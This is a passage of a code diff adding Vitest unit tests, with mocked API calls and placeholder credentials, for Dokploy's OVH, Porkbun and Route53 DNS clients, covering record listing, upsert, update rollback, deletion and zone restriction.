target: "1.2.3.4",
|
||||
ttl: 60,
|
||||
}),
|
||||
ovhSuccess(null),
|
||||
ovhSuccess(null),
|
||||
);
|
||||
|
||||
const result = await ovhClient.upsertRecord(cfg, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "4" });
|
||||
const calls = apiCalls();
|
||||
expect(calls[2]?.[0]).toContain("/domain/zone/example.com/record/4");
|
||||
expect(calls[2]?.[1].method).toBe("PUT");
|
||||
expect(calls[3]?.[0]).toContain("/refresh");
|
||||
});
|
||||
|
||||
it("creates a new record when content differs from existing", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(
|
||||
ovhSuccess([4]),
|
||||
ovhSuccess({
|
||||
id: 4,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.1.1.1",
|
||||
ttl: 60,
|
||||
}),
|
||||
ovhSuccess({ id: 10 }),
|
||||
ovhSuccess(null),
|
||||
);
|
||||
|
||||
const result = await ovhClient.upsertRecord(cfg, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "5.6.7.8",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "10" });
|
||||
const calls = apiCalls();
|
||||
expect(calls[2]?.[1].method).toBe("POST");
|
||||
expect(calls[3]?.[0]).toContain("/refresh");
|
||||
});
|
||||
|
||||
it("omits the ttl so OVH applies the zone default", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
|
||||
|
||||
await ovhClient.upsertRecord(cfg, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(JSON.parse(apiCalls()[1]?.[1].body as string)).not.toHaveProperty(
|
||||
"ttl",
|
||||
);
|
||||
});
|
||||
|
||||
it("writes an empty subDomain for the apex and strips the trailing dot", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
|
||||
|
||||
await ovhClient.upsertRecord(cfg, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "example.com.",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(apiCalls()[0]?.[0]).toContain("subDomain=");
|
||||
expect(JSON.parse(apiCalls()[1]?.[1].body as string).subDomain).toBe("");
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient.updateRecord", () => {
|
||||
it("updates in place when the type is unchanged", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(
|
||||
ovhSuccess({
|
||||
id: 4,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.1.1.1",
|
||||
ttl: 60,
|
||||
}),
|
||||
ovhSuccess(null),
|
||||
ovhSuccess(null),
|
||||
);
|
||||
|
||||
const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 300,
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "4" });
|
||||
const calls = apiCalls();
|
||||
expect(calls[1]?.[1].method).toBe("PUT");
|
||||
expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
|
||||
subDomain: "app",
|
||||
target: "1.2.3.4",
|
||||
ttl: 300,
|
||||
});
|
||||
expect(calls[2]?.[0]).toContain("/refresh");
|
||||
});
|
||||
|
||||
it("replaces the record when the type changes, since PUT carries no fieldType", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(
|
||||
ovhSuccess({
|
||||
id: 4,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.1.1.1",
|
||||
ttl: 60,
|
||||
}),
|
||||
ovhSuccess(null),
|
||||
ovhSuccess({ id: 11 }),
|
||||
ovhSuccess(null),
|
||||
);
|
||||
|
||||
const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
|
||||
type: "CNAME",
|
||||
name: "app.example.com",
|
||||
content: "example.com",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "11" });
|
||||
const calls = apiCalls();
|
||||
expect(calls[1]?.[1].method).toBe("DELETE");
|
||||
expect(calls[2]?.[1].method).toBe("POST");
|
||||
expect(JSON.parse(calls[2]?.[1].body as string).fieldType).toBe("CNAME");
|
||||
expect(calls[3]?.[0]).toContain("/refresh");
|
||||
});
|
||||
|
||||
it("restores the original record when the replacement fails", async () => {
|
||||
const cfg = freshConfig();
|
||||
const original = {
|
||||
id: 4,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.1.1.1",
|
||||
ttl: 60,
|
||||
};
|
||||
mockApi(
|
||||
ovhSuccess(original),
|
||||
ovhSuccess(null),
|
||||
ovhError("Invalid target", 400),
|
||||
ovhSuccess({ id: 12 }),
|
||||
ovhSuccess(null),
|
||||
);
|
||||
|
||||
await expect(
|
||||
ovhClient.updateRecord(cfg, "example.com", "4", {
|
||||
type: "CNAME",
|
||||
name: "app.example.com",
|
||||
content: "not a valid target",
|
||||
}),
|
||||
).rejects.toThrow("Invalid target");
|
||||
|
||||
const calls = apiCalls();
|
||||
expect(calls[1]?.[1].method).toBe("DELETE");
|
||||
expect(calls[2]?.[1].method).toBe("POST");
|
||||
// The original record is put back with its own type, target and ttl.
|
||||
expect(JSON.parse(calls[3]?.[1].body as string)).toEqual({
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.1.1.1",
|
||||
ttl: 60,
|
||||
});
|
||||
expect(calls[4]?.[0]).toContain("/refresh");
|
||||
});
|
||||
|
||||
it("reports the lost record when the restore also fails", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(
|
||||
ovhSuccess({
|
||||
id: 4,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.1.1.1",
|
||||
ttl: 60,
|
||||
}),
|
||||
ovhSuccess(null),
|
||||
ovhError("Invalid target", 400),
|
||||
ovhError("Service unavailable", 503),
|
||||
);
|
||||
|
||||
await expect(
|
||||
ovhClient.updateRecord(cfg, "example.com", "4", {
|
||||
type: "CNAME",
|
||||
name: "app.example.com",
|
||||
content: "not a valid target",
|
||||
}),
|
||||
).rejects.toThrow(
|
||||
/Recreate it manually: A app\.example\.com -> 1\.1\.1\.1/,
|
||||
);
|
||||
});
|
||||
|
||||
it("says the change was applied when only the zone refresh fails", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(
|
||||
ovhSuccess({
|
||||
id: 4,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.1.1.1",
|
||||
ttl: 60,
|
||||
}),
|
||||
ovhSuccess(null),
|
||||
ovhSuccess({ id: 11 }),
|
||||
ovhError("Service unavailable", 503),
|
||||
);
|
||||
|
||||
// The replacement succeeded, so the record exists at the provider — only
|
||||
// publishing failed. Rolling back would destroy correct state.
|
||||
await expect(
|
||||
ovhClient.updateRecord(cfg, "example.com", "4", {
|
||||
type: "CNAME",
|
||||
name: "app.example.com",
|
||||
content: "example.com",
|
||||
}),
|
||||
).rejects.toThrow(/was applied, but refreshing zone "example\.com" failed/);
|
||||
});
|
||||
|
||||
it("does not tell the user to recreate a record that was restored but not published", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(
|
||||
ovhSuccess({
|
||||
id: 4,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.1.1.1",
|
||||
ttl: 60,
|
||||
}),
|
||||
ovhSuccess(null), // DELETE de l'ancien
|
||||
ovhError("Invalid target", 400), // POST de remplacement -> échec
|
||||
ovhSuccess({ id: 12 }), // POST de restauration -> succès
|
||||
ovhError("Service unavailable", 503), // refresh -> échec
|
||||
);
|
||||
|
||||
const attempt = ovhClient.updateRecord(cfg, "example.com", "4", {
|
||||
type: "CNAME",
|
||||
name: "app.example.com",
|
||||
content: "not a valid target",
|
||||
});
|
||||
|
||||
// L'enregistrement existe de nouveau chez OVH : le recréer le dupliquerait.
|
||||
await expect(attempt).rejects.toThrow(/was restored, but refreshing zone/);
|
||||
await expect(attempt).rejects.not.toThrow(/Recreate it manually/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient.deleteRecord", () => {
|
||||
it("deletes the record then refreshes the zone", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhSuccess(null), ovhSuccess(null));
|
||||
|
||||
await ovhClient.deleteRecord(cfg, "example.com", "4");
|
||||
|
||||
const calls = apiCalls();
|
||||
expect(calls[0]?.[0]).toContain("/domain/zone/example.com/record/4");
|
||||
expect(calls[0]?.[1].method).toBe("DELETE");
|
||||
expect(calls[1]?.[0]).toContain("/domain/zone/example.com/refresh");
|
||||
});
|
||||
|
||||
it("does not refresh the zone when the delete fails", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhError("This object does not exist", 404));
|
||||
|
||||
await expect(
|
||||
ovhClient.deleteRecord(cfg, "example.com", "4"),
|
||||
).rejects.toThrow("This object does not exist");
|
||||
expect(apiCalls()).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient.testConnection", () => {
|
||||
it("resolves when the zone listing succeeds", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhSuccess([]));
|
||||
|
||||
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("rejects on invalid credentials", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhError("Invalid signature", 403));
|
||||
|
||||
await expect(ovhClient.testConnection(cfg)).rejects.toThrow(
|
||||
"Invalid signature",
|
||||
);
|
||||
});
|
||||
|
||||
it("checks the configured zone instead of listing all zones", async () => {
|
||||
const cfg = { ...freshConfig(), zone: "example.com" };
|
||||
mockApi(ovhSuccess({ name: "example.com" }));
|
||||
|
||||
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
|
||||
|
||||
const calls = apiCalls();
|
||||
expect(calls).toHaveLength(1);
|
||||
expect(calls[0]?.[0]).toBe(`${cfg.baseUrl}/domain/zone/example.com`);
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient with a configured zone", () => {
|
||||
const record = {
|
||||
type: "A" as const,
|
||||
name: "app.other.org",
|
||||
content: "1.2.3.4",
|
||||
};
|
||||
|
||||
it("refuses record operations on any other zone without calling OVH", async () => {
|
||||
const cfg = { ...freshConfig(), zone: "example.com" };
|
||||
mockApi();
|
||||
|
||||
const message = /restricted to the zone "example.com"/;
|
||||
await expect(ovhClient.listRecords(cfg, "other.org")).rejects.toThrow(
|
||||
message,
|
||||
);
|
||||
await expect(
|
||||
ovhClient.upsertRecord(cfg, { ...record, zoneId: "other.org" }),
|
||||
).rejects.toThrow(message);
|
||||
await expect(
|
||||
ovhClient.updateRecord(cfg, "other.org", "1", record),
|
||||
).rejects.toThrow(message);
|
||||
await expect(ovhClient.deleteRecord(cfg, "other.org", "1")).rejects.toThrow(
|
||||
message,
|
||||
);
|
||||
expect(apiCalls()).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("still allows operations on the configured zone", async () => {
|
||||
const cfg = { ...freshConfig(), zone: "example.com" };
|
||||
mockApi(ovhSuccess(null), ovhSuccess(null));
|
||||
|
||||
await expect(
|
||||
ovhClient.deleteRecord(cfg, "example.com", "1"),
|
||||
).resolves.toBeUndefined();
|
||||
expect(apiCalls()[0]?.[0]).toBe(
|
||||
`${cfg.baseUrl}/domain/zone/example.com/record/1`,
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,237 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
import { porkbunClient } from "@dokploy/server/utils/dns/porkbun";
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
const pbSuccess = (result: Record<string, unknown> = {}) =>
|
||||
jsonResponse({ status: "SUCCESS", ...result });
|
||||
|
||||
const pbError = (message: string, status = 400) =>
|
||||
jsonResponse({ status: "ERROR", message }, false, status);
|
||||
|
||||
const config = {
|
||||
providerType: "porkbun" as const,
|
||||
apiKey: "pk1_test",
|
||||
secretApiKey: "sk1_test",
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
describe("porkbunClient.listZones", () => {
|
||||
it("lists all domains as zones", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
pbSuccess({ domains: [{ domain: "example.com" }] }),
|
||||
);
|
||||
|
||||
const zones = await porkbunClient.listZones(config);
|
||||
|
||||
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toContain("/domain/listAll");
|
||||
const body = JSON.parse(init.body as string);
|
||||
expect(body).toMatchObject({
|
||||
apikey: "pk1_test",
|
||||
secretapikey: "sk1_test",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("porkbunClient.listRecords", () => {
|
||||
it("lists records for a domain", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
pbSuccess({
|
||||
records: [
|
||||
{
|
||||
id: "1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: "600",
|
||||
prio: "0",
|
||||
notes: "",
|
||||
},
|
||||
],
|
||||
}),
|
||||
);
|
||||
|
||||
const records = await porkbunClient.listRecords(config, "example.com");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 600,
|
||||
},
|
||||
]);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toContain("/dns/retrieve/example.com");
|
||||
});
|
||||
});
|
||||
|
||||
describe("porkbunClient.upsertRecord", () => {
|
||||
it("creates a record when none exists for the name/type", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(pbSuccess({ records: [] }))
|
||||
.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
|
||||
|
||||
const result = await porkbunClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "new-1" });
|
||||
const [lookupUrl] = mockFetch.mock.calls[0] as [string];
|
||||
expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/app");
|
||||
const [createUrl, createInit] = mockFetch.mock.calls[1] as [
|
||||
string,
|
||||
RequestInit,
|
||||
];
|
||||
expect(createUrl).toContain("/dns/create/example.com");
|
||||
const body = JSON.parse(createInit.body as string);
|
||||
expect(body).toMatchObject({ name: "app", type: "A", content: "1.2.3.4" });
|
||||
});
|
||||
|
||||
it("resolves the apex domain to an empty subdomain", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(pbSuccess({ records: [] }))
|
||||
.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
|
||||
|
||||
await porkbunClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
const [lookupUrl] = mockFetch.mock.calls[0] as [string];
|
||||
expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/");
|
||||
});
|
||||
|
||||
it("edits the existing record when content matches", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
pbSuccess({ records: [{ id: "existing-1", content: "5.6.7.8" }] }),
|
||||
)
|
||||
.mockResolvedValueOnce(pbSuccess({}));
|
||||
|
||||
const result = await porkbunClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "5.6.7.8",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "existing-1" });
|
||||
const [editUrl] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(editUrl).toContain("/dns/edit/example.com/existing-1");
|
||||
});
|
||||
|
||||
it("creates a new record when content differs from existing", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
pbSuccess({ records: [{ id: "existing-1", content: "1.1.1.1" }] }),
|
||||
)
|
||||
.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
|
||||
|
||||
const result = await porkbunClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "5.6.7.8",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "new-2" });
|
||||
const [createUrl, createInit] = mockFetch.mock.calls[1] as [
|
||||
string,
|
||||
RequestInit,
|
||||
];
|
||||
expect(createUrl).toContain("/dns/create/example.com");
|
||||
const body = JSON.parse(createInit.body as string);
|
||||
expect(body).toMatchObject({ name: "app", type: "A", content: "5.6.7.8" });
|
||||
});
|
||||
|
||||
it("defaults ttl to 600 when not provided", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(pbSuccess({ records: [] }))
|
||||
.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
|
||||
|
||||
await porkbunClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "CNAME",
|
||||
name: "www.example.com",
|
||||
content: "example.com",
|
||||
});
|
||||
|
||||
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
const body = JSON.parse(createInit.body as string);
|
||||
expect(body.ttl).toBe(600);
|
||||
});
|
||||
});
|
||||
|
||||
describe("porkbunClient.updateRecord", () => {
|
||||
it("edits the given record id", async () => {
|
||||
mockFetch.mockResolvedValue(pbSuccess({}));
|
||||
|
||||
const result = await porkbunClient.updateRecord(
|
||||
config,
|
||||
"example.com",
|
||||
"1",
|
||||
{
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
ttl: 300,
|
||||
},
|
||||
);
|
||||
|
||||
expect(result).toEqual({ id: "1" });
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toContain("/dns/edit/example.com/1");
|
||||
expect(JSON.parse(init.body as string)).toMatchObject({
|
||||
name: "app",
|
||||
type: "A",
|
||||
content: "9.9.9.9",
|
||||
ttl: 300,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("porkbunClient.deleteRecord", () => {
|
||||
it("posts to the delete endpoint for the given record id", async () => {
|
||||
mockFetch.mockResolvedValue(pbSuccess({}));
|
||||
|
||||
await porkbunClient.deleteRecord(config, "example.com", "1");
|
||||
|
||||
const [url] = mockFetch.mock.calls[0] as [string];
|
||||
expect(url).toContain("/dns/delete/example.com/1");
|
||||
});
|
||||
});
|
||||
|
||||
describe("porkbunClient.testConnection", () => {
|
||||
it("succeeds when the credentials can ping the API", async () => {
|
||||
mockFetch.mockResolvedValue(pbSuccess({}));
|
||||
await expect(porkbunClient.testConnection(config)).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("surfaces Porkbun's error message on invalid credentials", async () => {
|
||||
mockFetch.mockResolvedValue(pbError("Invalid API key."));
|
||||
|
||||
await expect(porkbunClient.testConnection(config)).rejects.toThrow(
|
||||
"Invalid API key.",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,385 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
type HasInput = { input: any };
|
||||
|
||||
const {
|
||||
send,
|
||||
Route53Client,
|
||||
ListHostedZonesCommand,
|
||||
ListResourceRecordSetsCommand,
|
||||
ChangeResourceRecordSetsCommand,
|
||||
} = vi.hoisted(() => {
|
||||
class FakeCommand {
|
||||
input: any;
|
||||
constructor(input: any) {
|
||||
this.input = input;
|
||||
}
|
||||
}
|
||||
const send = vi.fn();
|
||||
class Route53Client {
|
||||
send(command: unknown) {
|
||||
return send(command);
|
||||
}
|
||||
}
|
||||
return {
|
||||
send,
|
||||
Route53Client,
|
||||
ListHostedZonesCommand: class extends FakeCommand {},
|
||||
ListResourceRecordSetsCommand: class extends FakeCommand {},
|
||||
ChangeResourceRecordSetsCommand: class extends FakeCommand {},
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@aws-sdk/client-route-53", () => ({
|
||||
Route53Client,
|
||||
ListHostedZonesCommand,
|
||||
ListResourceRecordSetsCommand,
|
||||
ChangeResourceRecordSetsCommand,
|
||||
}));
|
||||
|
||||
import { route53Client } from "@dokploy/server/utils/dns/route53";
|
||||
|
||||
const config = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_TEST",
|
||||
secretAccessKey: "secret",
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
send.mockReset();
|
||||
});
|
||||
|
||||
describe("route53Client.listZones", () => {
|
||||
it("strips the hostedzone prefix and the trailing dot", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const zones = await route53Client.listZones(config);
|
||||
|
||||
expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
|
||||
});
|
||||
|
||||
it("follows the marker until IsTruncated is false", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
|
||||
IsTruncated: true,
|
||||
NextMarker: "marker-1",
|
||||
})
|
||||
.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const zones = await route53Client.listZones(config);
|
||||
|
||||
expect(zones).toEqual([
|
||||
{ id: "Z1", name: "a.com" },
|
||||
{ id: "Z2", name: "b.com" },
|
||||
]);
|
||||
expect(send).toHaveBeenCalledTimes(2);
|
||||
expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.listRecords", () => {
|
||||
it("builds a type:name id and strips the trailing dot from the name", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
},
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "A:app.example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 300,
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records).toEqual([]);
|
||||
});
|
||||
|
||||
it("joins multiple values for the same record", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{
|
||||
Name: "example.com.",
|
||||
Type: "NS",
|
||||
TTL: 172800,
|
||||
ResourceRecords: [
|
||||
{ Value: "ns1.example.com" },
|
||||
{ Value: "ns2.example.com" },
|
||||
],
|
||||
},
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records[0]?.content).toBe("ns1.example.com\nns2.example.com");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.upsertRecord", () => {
|
||||
it("sends a single UPSERT change when nothing exists yet", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({ ResourceRecordSets: [] })
|
||||
.mockResolvedValueOnce({});
|
||||
|
||||
const result = await route53Client.upsertRecord(config, {
|
||||
zoneId: "Z123",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "A:app.example.com" });
|
||||
const command = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(command.input.HostedZoneId).toBe("Z123");
|
||||
expect(command.input.ChangeBatch.Changes).toEqual([
|
||||
{
|
||||
Action: "UPSERT",
|
||||
ResourceRecordSet: {
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("keeps the values already in the record set", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.1.1.1" }, { Value: "2.2.2.2" }],
|
||||
},
|
||||
],
|
||||
})
|
||||
.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.upsertRecord(config, {
|
||||
zoneId: "Z123",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "3.3.3.3",
|
||||
});
|
||||
|
||||
const command = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(
|
||||
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
|
||||
).toEqual([
|
||||
{ Value: "1.1.1.1" },
|
||||
{ Value: "2.2.2.2" },
|
||||
{ Value: "3.3.3.3" },
|
||||
]);
|
||||
});
|
||||
|
||||
it("does not duplicate a value that is already in the record set", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||
},
|
||||
],
|
||||
})
|
||||
.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.upsertRecord(config, {
|
||||
zoneId: "Z123",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.1.1.1",
|
||||
});
|
||||
|
||||
const command = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(
|
||||
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
|
||||
).toEqual([{ Value: "1.1.1.1" }]);
|
||||
});
|
||||
|
||||
it("wraps unquoted TXT values in double quotes", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({ ResourceRecordSets: [] })
|
||||
.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.upsertRecord(config, {
|
||||
zoneId: "Z123",
|
||||
type: "TXT",
|
||||
name: "example.com",
|
||||
content: 'v=spf1 ~all\n"already quoted"',
|
||||
});
|
||||
|
||||
const command = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(
|
||||
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
|
||||
).toEqual([{ Value: '"v=spf1 ~all"' }, { Value: '"already quoted"' }]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.updateRecord", () => {
|
||||
it("only UPSERTs when the name/type identity did not change", async () => {
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
});
|
||||
|
||||
expect(send).toHaveBeenCalledTimes(1);
|
||||
const command = send.mock.calls[0]?.[0] as HasInput;
|
||||
expect(command.input.ChangeBatch.Changes).toHaveLength(1);
|
||||
expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
|
||||
});
|
||||
|
||||
it("deletes the old record set and creates the new one on rename", async () => {
|
||||
const existingSet = {
|
||||
Name: "old.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||
};
|
||||
send
|
||||
.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
|
||||
.mockResolvedValueOnce({}); // ChangeResourceRecordSets
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
|
||||
type: "A",
|
||||
name: "new.example.com",
|
||||
content: "1.1.1.1",
|
||||
});
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
|
||||
{ Action: "DELETE", ResourceRecordSet: existingSet },
|
||||
{
|
||||
Action: "UPSERT",
|
||||
ResourceRecordSet: {
|
||||
Name: "new.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.1.1.1" }],
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("keeps every line of a multi-value record set", async () => {
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "NS:example.com", {
|
||||
type: "NS",
|
||||
name: "example.com",
|
||||
content: "ns1.example.com\nns2.example.com\n\n ns3.example.com ",
|
||||
});
|
||||
|
||||
const command = send.mock.calls[0]?.[0] as HasInput;
|
||||
